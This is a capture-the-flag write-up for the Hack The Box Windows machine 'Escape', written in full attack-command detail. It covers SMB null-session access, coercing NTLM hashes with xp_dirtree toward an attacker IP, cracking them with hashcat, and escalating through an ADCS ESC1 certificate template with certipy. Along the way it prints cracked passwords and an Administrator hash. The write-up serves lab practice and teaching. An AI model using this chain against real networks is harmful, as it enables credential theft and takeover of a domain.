Escape Writeup

17 June 2023 #CTF #HTB #box #medium #windows

escape info

Enumeration

nmap

$ sudo nmap -sC -sV 10.10.11.202
[...]
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-05-18 00:38:27Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-05-18T00:39:57+00:00; +8h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb
| Issuer: commonName=sequel-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-11-18T21:20:35
| Not valid after:  2023-11-18T21:20:35
| MD5:   869f7f54b2edff74708d1a6ddf34b9bd
|_SHA-1: 742ab4522191331767395039db9b3b2e27b6f7fa
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb
| Issuer: commonName=sequel-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-11-18T21:20:35
| Not valid after:  2023-11-18T21:20:35
| MD5:   869f7f54b2edff74708d1a6ddf34b9bd
|_SHA-1: 742ab4522191331767395039db9b3b2e27b6f7fa
|_ssl-date: 2023-05-18T00:39:56+00:00; +8h00m00s from scanner time.
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-05-17T19:43:03
| Not valid after:  2053-05-17T19:43:03
| MD5:   e4892f5e7ae5419249009f837542bf16
|_SHA-1: 5b4a47ed846a4c1545f42114a29aff07be2dc54f
|_ssl-date: 2023-05-18T00:39:57+00:00; +8h00m00s from scanner time.
| ms-sql-info: 
|   10.10.11.202:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ms-sql-ntlm-info: 
|   10.10.11.202:1433: 
|     Target_Name: sequel
|     NetBIOS_Domain_Name: sequel
|     NetBIOS_Computer_Name: DC
|     DNS_Domain_Name: sequel.htb
|     DNS_Computer_Name: dc.sequel.htb
|     DNS_Tree_Name: sequel.htb
|_    Product_Version: 10.0.17763
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb
| Issuer: commonName=sequel-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-11-18T21:20:35
| Not valid after:  2023-11-18T21:20:35
| MD5:   869f7f54b2edff74708d1a6ddf34b9bd
|_SHA-1: 742ab4522191331767395039db9b3b2e27b6f7fa
|_ssl-date: 2023-05-18T00:39:57+00:00; +8h00m00s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb
| Issuer: commonName=sequel-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-11-18T21:20:35
| Not valid after:  2023-11-18T21:20:35
| MD5:   869f7f54b2edff74708d1a6ddf34b9bd
|_SHA-1: 742ab4522191331767395039db9b3b2e27b6f7fa
|_ssl-date: 2023-05-18T00:39:56+00:00; +8h00m00s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49685/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49686/tcp open  msrpc         Microsoft Windows RPC
49704/tcp open  msrpc         Microsoft Windows RPC
49711/tcp open  msrpc         Microsoft Windows RPC
54842/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
|_clock-skew: mean: 7h59m59s, deviation: 0s, median: 7h59m59s
| smb2-time: 
|   date: 2023-05-18T00:39:17
|_  start_date: N/A
[...]

We see Kerberos, LDAP and DNS are open so we are most likely dealing with an Active Directory Domain Controller.

We also get the domain name (sequel.htb) and the hostname of the box (DC) which we should add to our /etc/hosts file. Since there is a DNS server on the box, we can instead add nameserver 10.10.11.202 to /etc/resolv.conf in order to use its DNS server (internet searches will be slower though).

SMB

Let's see if we can access SMB with a null session:

$ smbclient -NL 10.10.11.202

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        Public          Disk
        SYSVOL          Disk      Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.202 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

It seems like we can. There is a Public share which isn't a default Windows share so let's take a look:

$ smbclient -N //10.10.11.202/Public
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Nov 19 12:51:25 2022
  ..                                  D        0  Sat Nov 19 12:51:25 2022
  SQL Server Procedures.pdf           A    49551  Fri Nov 18 14:39:43 2022

                5184255 blocks of size 4096. 1471485 blocks available

There are MSSQL creds for new hires in this PDF:

creds in pdf

MSSQL

We can connect to MSSQL with impacket's mssqlclient:

$ impacket-mssqlclient SEQUEL.HTB/PublicUser:GuestUserCantWrite1@dc.sequel.htb
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLMOCK): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLMOCK): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL>

Let's check if there are any non-default database:

SQL> select name from sys.databases;
name

-----------------------------------------------------------------------------------------------
master
tempdb
model
msdb

But not in this case.

It's always worth checking if we are a DB sysadmin (in order to execute commands with xp_cmdshell):

SQL> select IS_SRVROLEMEMBER('sysadmin');

-----------
          0

Nope.

Foothold

One other thing to try is using xp_dirtree to make the DB authenticate to our box in order to steal the NTLM hash of the DB service account.

Firstly, set up responder:

$ sudo responder -I tun0
[...]

Then use xp_dirtree to list files on our responder fake share that will ask for NTLM authentication:

SQL> xp_dirtree '\\10.10.14.14\asdf\asdf\'

The share and file name don't matter, we can put anything we want here.

We get a hit:

[SMB] NTLMv2-SSP Client   : 10.10.11.202
[SMB] NTLMv2-SSP Username : sequel\sql_svc
[SMB] NTLMv2-SSP Hash     : sql_svc::sequel:9b980764aaf84e6e:[...]

We can now grab this hash and throw it to hashcat to see if we can crack it:

$ hashcat hash.txt /usr/share/wordlists/rockyou.txt
[...]
SQL_SVC::sequel:9b980764aaf84e6e:[...]:REGGIE1234ronnie
[...]

We can WinRM to the DC with this account:

$ evil-winrm -i dc.sequel.htb -u sql_svc -p REGGIE1234ronnie
[...]
*Evil-WinRM* PS C:\Users\sql_svc\Documents>

Privesc

svc_sql to Ryan.Cooper

We can find the MSSQL access logs in C:\SQLServer\logs\ERRORLOG.BAK:

[...]
2022-11-18 13:43:07.44 Logon       Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
2022-11-18 13:43:07.48 Logon       Error: 18456, Severity: 14, State: 8.
2022-11-18 13:43:07.48 Logon       Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
[...]

It seems like Ryan.Cooper typed his password in the username field (certified bruh moment).

He can also WinRM to the DC:

$ evil-winrm -i dc.sequel.htb -u ryan.cooper -p NuclearMosquito3
[...]
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents>

Ryan.Cooper to Administrator

An easy way to check if ADCS is installed is by running certutil.exe:

*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> certutil.exe
Entry 0: (Local)
  Name:                         "sequel-DC-CA"
  Organizational Unit:          ""
  Organization:                 ""
  Locality:                     ""
  State:                        ""
  Country/region:               ""
  Config:                       "dc.sequel.htb\sequel-DC-CA"
  Exchange Certificate:         ""
  Signature Certificate:        "dc.sequel.htb_sequel-DC-CA.crt"
  Description:                  ""
  Server:                       "dc.sequel.htb"
  Authority:                    "sequel-DC-CA"
  Sanitized Name:               "sequel-DC-CA"
  Short Name:                   "sequel-DC-CA"
  Sanitized Short Name:         "sequel-DC-CA"
  Flags:                        "13"
  Web Enrollment Servers:       ""
CertUtil: -dump command completed successfully.

A nice tool to enumerate (and exploit) ADCS is certipy. Let's look for vulnerable (misconfigured) certificate templates:

$ certipy find -u ryan.cooper@sequel.htb -p NuclearMosquito3 -stdout -vulnerable
[...]
Client Authentication               : True
Enrollment Agent                    : False
Any Purpose                         : False
Enrollee Supplies Subject           : True
Certificate Name Flag               : EnrolleeSuppliesSubject
Enrollment Flag                     : IncludeSymmetricAlgorithms
                                      PublishToDs
Private Key Flag                    : ExportableKey
Extended Key Usage                  : Client Authentication
                                      Secure Email
                                      Encrypting File System
Requires Manager Approval           : False
Requires Key Archival               : False
Authorized Signatures Required      : 0
Validity Period                     : 10 years
Renewal Period                      : 6 weeks
Minimum RSA Key Length              : 2048
Permissions
  Enrollment Permissions
    Enrollment Rights               : SEQUEL.HTB\Domain Admins
                                      SEQUEL.HTB\Domain Users
                                      SEQUEL.HTB\Enterprise Admins
[!] Vulnerabilities
  ESC1                              : 'SEQUEL.HTB\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication

There are 3 things that make this template vulnerable:

With ADCS, a certificate can have several uses, like code signing, file or mail encryption, or client authentication which enables users to authenticate to AD with a certificate instead of a password.

The "EnrolleeSuppliesSubject" means that the enrollee (us) is able to specify an Alternate Name for the certificate. This alternate name can be any user account (including Administrators or Domain Admins) and it will be the one used when authenticating.

Finally, Domain Users are able to enroll with this template which means that anyone with a Domain account can request a certificate to impersonate any other account. Pretty bad right? (we can't do it with the "sql_svc" user because it's not a domain user)

If you want more information about these kind of vulnerabilities, you should definitely check this research paper from SpecterOps.

Let's do it:

$ certipy req -u ryan.cooper@sequel.htb -p NuclearMosquito3 -ca sequel-DC-CA -template UserAuthentication -target dc.sequel.htb -upn Administrator@sequel.htb
Certipy v4.4.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 11
[*] Got certificate with UPN 'Administrator@sequel.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

We requested a certificate and specified Administrator as the Alternate Name. "UserAuthentication" is just the name of the template (it's in certipy output).

Now we can authenticate as Administrator with the certificate we just requested:

$ certipy auth -pfx administrator.pfx -dc-ip 10.10.11.202
Certipy v4.4.0 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee

If you encounter some Kerberos errors, run sudo ntpdate 10.10.110.202 to sync the time between your box and the DC.

At this point we can use the Kerberos ticket or the NTLM hash to do whatever we want as Administrator. I'll just evil-winrm again:

$ evil-winrm -i 10.10.11.202 -u administrator -H a52f78e4c751e5f5e17e1e9f3e58f4ee
[...]
*Evil-WinRM* PS C:\Users\Administrator\Documents>

Key Takeaways